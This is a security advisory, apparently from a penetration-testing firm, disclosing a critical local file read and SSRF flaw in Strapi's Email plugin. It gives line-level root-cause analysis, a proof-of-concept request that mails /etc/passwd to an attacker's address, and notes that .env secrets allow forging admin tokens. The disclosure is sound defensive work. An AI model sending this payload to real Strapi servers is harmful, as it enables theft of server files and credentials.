Strapi: Local File Read via Attachments in the Email Plugin
Whoever may call POST /api/email/ names a server file in attachments[].path; nodemailer reads it and sends it as an attachment to the attacker's address.
Advisory ID: TP-2026-168
Product: Strapi (open-source headless CMS)
Vulnerability type: Local file read and server-side request forgery through attachment paths (CWE-22)
CVE: not requested
CVSS 3.1: 9.6 (Critical)
Affected versions: before 5.53.0 (verified live: 5.45.1)
Fixed in: 5.53.0
Reported: 13 May 2026
Summary
Strapi is an open-source headless CMS whose Email plugin sends messages through POST /api/email/. The route passes the request body to the email provider unfiltered, including the attachments field. For an attachment with path nodemailer reads the named file from the server, and for an attachment with href it fetches the named URL; the providers did not switch either off. Whoever may call the route has arbitrary files readable by the Strapi process sent to an address of their own as an attachment, including the .env with the keys for admin tokens. The precondition is that the operator has enabled the plugin::email.email.send permission for the Public or Authenticated role; this is not the default setting.
Root cause
In version 5.45.1, to which all line numbers refer, the content API route POST /api/email/ is protected only by the plugin::email.email.send permission (packages/core/email/server/src/routes/content-api.ts:9-17).
The Zod schema of the route is not enforced at runtime (packages/core/email/server/src/routes/validation/email.ts:11-24), and controller and service pass the body to the provider unfiltered (packages/core/email/server/src/controllers/email.ts:17, packages/core/email/server/src/services/email.ts:16).
The sendmail provider copies all remaining fields including attachments into the mail object (packages/providers/email-sendmail/src/index.ts:28-38).
The transport sends through nodemailer without setting disableFileAccess and disableUrlAccess, so nodemailer reads attachments[].path from disk and fetches attachments[].href (packages/providers/email-sendmail/src/direct-smtp.ts:96-110).
The email-nodemailer provider set both options only when the caller supplied them (packages/providers/email-nodemailer/src/index.ts).
Proof of Concept
POST /api/email/ HTTP/1.1
Content-Type: application/json
{"to":"<attacker address>","attachments":[{"path":"/etc/passwd"}]}
nodemailer opens the file named under path and attaches its content to the message. Verified on Strapi 5.45.1 with the plugin::email.email.send permission enabled for the Public role, that is without login: the array reached the provider, and the Strapi log shows the outgoing SMTP delivery of the message including the attachment. In the test only the receiving mail server rejected the connection because of the missing reverse DNS entry (SMTP 554), not Strapi. The regression test of the fix shows that the file content reaches the SMTP peer without the correction.
Impact
- Reading arbitrary files the Strapi process may read, delivered as an attachment to an address chosen by the attacker.
- The
.envcontainsADMIN_JWT_SECRET,JWT_SECRET, the encryption key and the database credentials;ADMIN_JWT_SECRETis enough to sign admin tokens. - Through
attachments[].hrefthe server fetches URLs chosen by the attacker and thereby reaches internal services. - If the permission is enabled for the Public role, for example for a contact form, a single request without login is enough.
References
Is Something Like This in Your Software?
Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
